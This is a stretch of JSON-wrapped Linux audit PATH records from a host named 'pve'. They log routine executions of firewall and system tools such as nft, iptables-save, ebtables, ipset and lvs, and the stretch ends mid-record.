{"@timestamp":1781965232261,"@rawstring":"node=pve type=PATH msg=audit(1781965232.261:64725): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232261,"@rawstring":"node=pve type=PATH msg=audit(1781965232.261:64724): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PATH msg=audit(1781965232.252:64723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PATH msg=audit(1781965232.252:64723): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PATH msg=audit(1781965232.252:64722): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965232252,"@rawstring":"node=pve type=PATH msg=audit(1781965232.252:64721): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PATH msg=audit(1781965227.244:64720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PATH msg=audit(1781965227.244:64720): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PATH msg=audit(1781965227.244:64719): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227244,"@rawstring":"node=pve type=PATH msg=audit(1781965227.244:64718): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PATH msg=audit(1781965227.235:64717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PATH msg=audit(1781965227.235:64717): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PATH msg=audit(1781965227.235:64716): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965227235,"@rawstring":"node=pve type=PATH msg=audit(1781965227.235:64715): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225463,"@rawstring":"node=pve type=PATH msg=audit(1781965225.463:64714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225463,"@rawstring":"node=pve type=PATH msg=audit(1781965225.463:64714): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PATH msg=audit(1781965225.454:64713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PATH msg=audit(1781965225.454:64713): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PATH msg=audit(1781965225.454:64712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PATH msg=audit(1781965225.454:64712): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225454,"@rawstring":"node=pve type=PATH msg=audit(1781965225.454:64711): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225447,"@rawstring":"node=pve type=PATH msg=audit(1781965225.447:64710): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225447,"@rawstring":"node=pve type=PATH msg=audit(1781965225.447:64710): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225447,"@rawstring":"node=pve type=PATH msg=audit(1781965225.447:64710): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225436,"@rawstring":"node=pve type=PATH msg=audit(1781965225.436:64709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225436,"@rawstring":"node=pve type=PATH msg=audit(1781965225.436:64709): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225420,"@rawstring":"node=pve type=PATH msg=audit(1781965225.420:64708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225420,"@rawstring":"node=pve type=PATH msg=audit(1781965225.420:64708): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225408,"@rawstring":"node=pve type=PATH msg=audit(1781965225.408:64707): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225408,"@rawstring":"node=pve type=PATH msg=audit(1781965225.408:64707): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225395,"@rawstring":"node=pve type=PATH msg=audit(1781965225.395:64706): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225395,"@rawstring":"node=pve type=PATH msg=audit(1781965225.395:64706): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225390,"@rawstring":"node=pve type=PATH msg=audit(1781965225.390:64704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225390,"@rawstring":"node=pve type=PATH msg=audit(1781965225.390:64704): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225384,"@rawstring":"node=pve type=PATH msg=audit(1781965225.384:64703): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225384,"@rawstring":"node=pve type=PATH msg=audit(1781965225.384:64703): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225377,"@rawstring":"node=pve type=PATH msg=audit(1781965225.377:64702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225377,"@rawstring":"node=pve type=PATH msg=audit(1781965225.377:64702): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225373,"@rawstring":"node=pve type=PATH msg=audit(1781965225.373:64701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225373,"@rawstring":"node=pve type=PATH msg=audit(1781965225.373:64701): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225367,"@rawstring":"node=pve type=PATH msg=audit(1781965225.367:64700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225367,"@rawstring":"node=pve type=PATH msg=audit(1781965225.367:64700): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225361,"@rawstring":"node=pve type=PATH msg=audit(1781965225.361:64699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225361,"@rawstring":"node=pve type=PATH msg=audit(1781965225.361:64699): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225354,"@rawstring":"node=pve type=PATH msg=audit(1781965225.354:64698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225354,"@rawstring":"node=pve type=PATH msg=audit(1781965225.354:64698): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225347,"@rawstring":"node=pve type=PATH msg=audit(1781965225.347:64697): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225347,"@rawstring":"node=pve type=PATH msg=audit(1781965225.347:64697): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225343,"@rawstring":"node=pve type=PATH msg=audit(1781965225.343:64696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225343,"@rawstring":"node=pve type=PATH msg=audit(1781965225.343:64696): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225341,"@rawstring":"node=pve type=PATH msg=audit(1781965225.341:64695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225341,"@rawstring":"node=pve type=PATH msg=audit(1781965225.341:64695): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=PATH msg=audit(1781965225.339:64694): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=PATH msg=audit(1781965225.339:64694): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=PATH msg=audit(1781965225.339:64693): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225335,"@rawstring":"node=pve type=PATH msg=audit(1781965225.335:64692): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225335,"@rawstring":"node=pve type=PATH msg=audit(1781965225.335:64692): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225335,"@rawstring":"node=pve type=PATH msg=audit(1781965225.335:64692): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225327,"@rawstring":"node=pve type=PATH msg=audit(1781965225.327:64691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225327,"@rawstring":"node=pve type=PATH msg=audit(1781965225.327:64691): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225318,"@rawstring":"node=pve type=PATH msg=audit(1781965225.318:64690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225318,"@rawstring":"node=pve type=PATH msg=audit(1781965225.318:64690): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225311,"@rawstring":"node=pve type=PATH msg=audit(1781965225.311:64689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225311,"@rawstring":"node=pve type=PATH msg=audit(1781965225.311:64689): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225303,"@rawstring":"node=pve type=PATH msg=audit(1781965225.303:64688): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225303,"@rawstring":"node=pve type=PATH msg=audit(1781965225.303:64688): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225295,"@rawstring":"node=pve type=PATH msg=audit(1781965225.295:64687): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965225295,"@rawstring":"node=pve type=PATH msg=audit(1781965225.295:64687): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965224895,"@rawstring":"node=pve type=PATH msg=audit(1781965224.895:64686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965224895,"@rawstring":"node=pve type=PATH msg=audit(1781965224.895:64686): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965224873,"@rawstring":"node=pve type=PATH msg=audit(1781965224.873:64685): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965224873,"@rawstring":"node=pve type=PATH msg=audit(1781965224.873:64685): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PATH msg=audit(1781965222.230:64684): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PATH msg=audit(1781965222.230:64684): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PATH msg=audit(1781965222.230:64683): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=PATH msg=audit(1781965222.230:64682): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PATH msg=audit(1781965222.220:64681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PATH msg=audit(1781965222.220:64681): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PATH msg=audit(1781965222.220:64680): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=PATH msg=audit(1781965222.220:64679): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PATH msg=audit(1781965217.209:64678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PATH msg=audit(1781965217.209:64678): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PATH msg=audit(1781965217.209:64677): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=PATH msg=audit(1781965217.209:64676): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PATH msg=audit(1781965217.201:64675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PATH msg=audit(1781965217.201:64675): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PATH msg=audit(1781965217.201:64674): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PATH msg=audit(1781965217.201:64673): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215281,"@rawstring":"node=pve type=PATH msg=audit(1781965215.281:64672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215281,"@rawstring":"node=pve type=PATH msg=audit(1781965215.281:64672): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PATH msg=audit(1781965215.277:64671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PATH msg=audit(1781965215.277:64671): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PATH msg=audit(1781965215.277:64670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PATH msg=audit(1781965215.277:64670): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PATH msg=audit(1781965215.277:64669): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215272,"@rawstring":"node=pve type=PATH msg=audit(1781965215.272:64668): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215272,"@rawstring":"node=pve type=PATH msg=audit(1781965215.272:64668): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 